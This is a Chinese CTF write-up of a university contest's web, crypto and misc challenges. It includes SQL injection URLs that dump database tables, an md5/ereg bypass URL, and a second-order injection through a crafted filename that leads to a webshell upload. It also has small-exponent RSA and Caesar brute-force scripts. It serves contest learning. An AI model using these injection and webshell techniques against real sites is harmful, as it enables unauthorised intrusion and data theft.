CUMT-CTF第二次双月赛Writeup

前言

毕竟是萌新,能有校赛打已经很开心了,感谢Source大佬的带飞,下面放上本次双月赛的部分题解;

正文

Web

签到题

是个easy的绕过,给出源码:

1){
                if(md5($c) === md5($b) && ($b !== $c)){
                    echo "
"; echo 'you are a great dark phper
'; echo $flag; } else{ echo "you can do it!!!"; } }else{ echo 'you no dark'; } }else{ echo 'you are so dark'; } } }else highlight_file(__FILE__);

考察ereg()md5()的绕过姿势,00截断绕过ereg,上传数组绕过md5,即可得到flag如下:

CUMT-CTF第二次双月赛Writeup_第1张图片

payload:http://202.119.201.199:32790/index.php?0ver=5%00a&0ver1[]=a&0ver2[]=b

SimpleUpload

是个前端验证,只允许上传图片,不允许上传php为后缀的文件,只需要bp截取改后缀名即可;

CUMT-CTF第二次双月赛Writeup_第2张图片

小型线上赌场

一开始没有思路,毕竟是萌新还没有了解到CTF的很多姿势,请教新城瑞雪大佬得知是vim文件泄露,在vim编辑的时候没有正常退出,系统就会自动生成一个swp文件用来日后的恢复;直接down下来,vim打开得源码:

 $value) {
	    if(!is_numeric($value)||$value == '0'){
	        die('no no no!');
	    }
	}
	$money = number_format($invest*$rand);
	$money = intval(str_replace(',','',$money));
	$guess = intval($_GET['guess']); 
	if ($guess == $money && strlen($money)===$len){
	    echo $flag;
}

看懂源码意思即可,生成2~50的随机数randmoney$invest*$rand;如果$money==$guess就回显flag,即invest*倍数==guess即可,那我们可以直接直接bp爆破,猜一个guess,固定investguess的值,多次爆破,如果次数达到一定的上限一定会出现猜对倍数的情况,这样的话就会输出flag;

bp爆破设置:

  1. 不设置变量;

    CUMT-CTF第二次双月赛Writeup_第3张图片

  2. 设置payload类型为null payloads,上限次数设置大一点为2000;

    CUMT-CTF第二次双月赛Writeup_第4张图片

  3. 随便设置一下options即可start;

结果:

升序排列length即可发现不匹配的特殊项,发现flag;

CUMT-CTF第二次双月赛Writeup_第5张图片

CUMT-CTF第二次双月赛Writeup_第6张图片

SimpleSQLi

  1. 首先输入?id=1%27报错;
  2. 接着注释掉后面的引号?id=1%27%23,回显正常,说明猜测成功存在注入点;

CUMT-CTF第二次双月赛Writeup_第7张图片

  1. 接下来就是用order by去猜列数,?id=1%27%20order%20by%203%23回显正常应该是三列没错;
  2. 下面需要用union select去回显某一列的东西,构造?id=-1%27%20union%20select%201,2,3%23;这里需要第一句话为空才能显示后面一句话的内容,选择id=-1,就可以回显2和3,后面就可以利用这两列回显想要的东西;

CUMT-CTF第二次双月赛Writeup_第8张图片

  1. 爆库名:?id=-1%27%20union%20select%201,2,database()%20%23security

CUMT-CTF第二次双月赛Writeup_第9张图片

  1. 爆表名,此处使用mysql里面自带的information_schema表;id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23发现flag表信息;

CUMT-CTF第二次双月赛Writeup_第10张图片

  1. 爆列名:id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27flagishere%27%23有Id和flag两列;

CUMT-CTF第二次双月赛Writeup_第11张图片

  1. 爆值:?id=-1%27%20union%20select%201,2,group_concat(Id,0x3a,flag)%20from%20flagishere%23

CUMT-CTF第二次双月赛Writeup_第12张图片

文件管理系统

队友Source在离别歌的blog里搜索到类似题目,了解到这题的切入点是二次注入;直接拿来payload就可以搞定这一题;

  1. 先选择文件进行上传,filename为',extension='',filename='x.jpg.jpgCUMT-CTF第二次双月赛Writeup_第13张图片

  2. Rename file,注入后文件系统中文件名为xl.jpg.jpgCUMT-CTF第二次双月赛Writeup_第14张图片

  3. 上传真的包含webshell的文件;CUMT-CTF第二次双月赛Writeup_第15张图片

  4. 改名后缀为.php,连接菜刀即可;CUMT-CTF第二次双月赛Writeup_第16张图片

  5. flag在根目录;

    CUMT-CTF第二次双月赛Writeup_第17张图片CUMT-CTF第二次双月赛Writeup_第18张图片

参考链接:leavesongs的博客

Crypto

现代密码签到

一度以为是hash,因为base64decode出来是Salted__开头,真的是…被出题人虐到鼻青脸肿,和队里大佬讨论很久也不知道怎么办,还一度以为是AES,hint出来了是DES,也不知道密钥该如何解密…没想带直接找一个在线网站直接解密既可以了…密钥为空… 狂喷一口老血…km4Jc4.png

CUMT-CTF第二次双月赛Writeup_第19张图片

在线解密一次以后再解一次即可得到flag:

CUMT-CTF第二次双月赛Writeup_第20张图片

这就是双重DES…

古典密码签到

也是解的很暴躁的一题,基本就是大家一开始都是base32出来就不知道那是什么玩意了…

km5n2D.md.png

翻看各种大佬的博客总结古典密码都没有这种奇怪的符号…直到队友解出来的那一刻我都是懵逼的(SourceNB),放上解题脚本:

#coding:utf-8
import base64
s="LZYGQ326N5QXMYAKORNG42TABJ2FUWS2MNRWG6A="
c=base64.b32decode(s)
print c
for i in range(128):
    ans=""
    for x in c:
        ans+=chr((ord(x)+i)%128)
    if 'ctf' in ans:
        print ans

在ASCII码内凯撒爆破即可:

CUMT-CTF第二次双月赛Writeup_第21张图片

慢着…这16进制是什么鬼…大胆猜测是easy_soeasy__hhh,填入果然没错…

总的来说做这两题的心情就是可以狂扁出题人小朋友了…

CUMT-CTF第二次双月赛Writeup_第22张图片

easyrsa

这题终于不是前面两题那么让人流泪了…,n和c里只出现了12个字符猜测是12进制;

n=36004b9A985A624479A4891b16130722A5A7453989bA61737A226368504A5689381236451796A445824b5A516b176b40135935b0b8999046154359b0560537100289b9795129505b461542A4897A56561529A705135AA772507bb3172b03b3425A99224b68b45b801459b29A070bAb9408761b4A70b905308772472934486924bA17013A2A801041A05178b0488AA5
e=5
c=411A016A671768793b5AAbA4A043001A468b8A9A6122290461266393181b021812b6AAbAA1b57161bAA300321174154862338b0098249626A93116b34752540987309A08520bb6780804b5679144173Ab7301b49322587504A75A7A2445928A07A650bb6076bA3412b1375205336b43A11A1510A22893b937065

给出以下信息,e=5,猜测是低指数攻击,上解题脚本:

#coding:utf-8
import gmpy2

def twl_to_dec(twl):
	ans=0
	l=len(twl)
	for i in range(l):
		if twl[i]=='A':
			temp=10
		elif twl[i]=='b':
			temp=11
		else:
			temp=int(twl[i],10)
		ans+=temp*pow(12,l-i-1)
	return ans

def small_msg(c,n,e):
	i=0
	while 1:
	    if(gmpy2.iroot(c+i*n, e)[1] == 1):
	        x = gmpy2.iroot(c+i*n, e)[0]
	        print hex(x)[2:].decode('hex')
	        break
		i += 1

def main():
	n="36004b9A985A624479A4891b16130722A5A7453989bA61737A226368504A5689381236451796A445824b5A516b176b40135935b0b8999046154359b0560537100289b9795129505b461542A4897A56561529A705135AA772507bb3172b03b3425A99224b68b45b801459b29A070bAb9408761b4A70b905308772472934486924bA17013A2A801041A05178b0488AA5"
	c="411A016A671768793b5AAbA4A043001A468b8A9A6122290461266393181b021812b6AAbAA1b57161bAA300321174154862338b0098249626A93116b34752540987309A08520bb6780804b5679144173Ab7301b49322587504A75A7A2445928A07A650bb6076bA3412b1375205336b43A11A1510A22893b937065"
	e=5
	n=twl_to_dec(n)
	c=twl_to_dec(c)
	small_msg(c,n,e)

if __name__ == '__main__':
	main()

12进制转化为 10进制以后直接进行小公钥指数攻击即可,得到flag:

CUMT-CTF第二次双月赛Writeup_第23张图片

**友情提示:**自己写的进制转换虽然丑,but肯定比网上在线转换靠谱(微笑.jpg)

Misc

Misc签到

得到盲文图片如下,直接对应盲文表解出flag内容为:BAIND,将A换为1,加上flag提交即可;

CUMT-CTF第二次双月赛Writeup_第24张图片

BXS图标真好看

打开是个txt文件,查看内容发现IDHR关键字,猜测是png图片,直接改掉后缀得到一张图片;

CUMT-CTF第二次双月赛Writeup_第25张图片

发现flag相关内容,猜测是凯撒移位,但发现前面有8位,果断推翻猜想,继续猜测是栅栏密码,果然得到flag;

CUMT-CTF第二次双月赛Writeup_第26张图片

base全家桶了解一下

nctf遇到过差不多的题,没什么难度;

解密脚本:

#coding:utf-8
import base64
s="R1kzRE1RWldHRTNET04yQ0dVM1RNTkpXSU0zREdNWlFHWkNETU5KVklZM1RJTVpRR01ZREtSUldHTTNUS05TRUc0MkRNTVpYR1EzRE1OMkU="
c=base64.b64decode(s)
print c
d=base64.b32decode(c)
print d
e=base64.b16decode(d)
print e

CUMT-CTF第二次双月赛Writeup_第27张图片

起床改error啦

唯一做到的Misc…队友Source太给力…拿到手是个png图片

CUMT-CTF第二次双月赛Writeup_第28张图片

丢进十六进制编辑器,发现猫腻,有zip文件头和flag信息;

CUMT-CTF第二次双月赛Writeup_第29张图片

扒下来另存为zip,解压得到flag.doc,但是里面没有flag;

CUMT-CTF第二次双月赛Writeup_第30张图片

提示直接告诉是doc隐写,那就显示隐藏文字即可,得到flag;

CUMT-CTF第二次双月赛Writeup_第31张图片

你可能感兴趣的:(Writeup)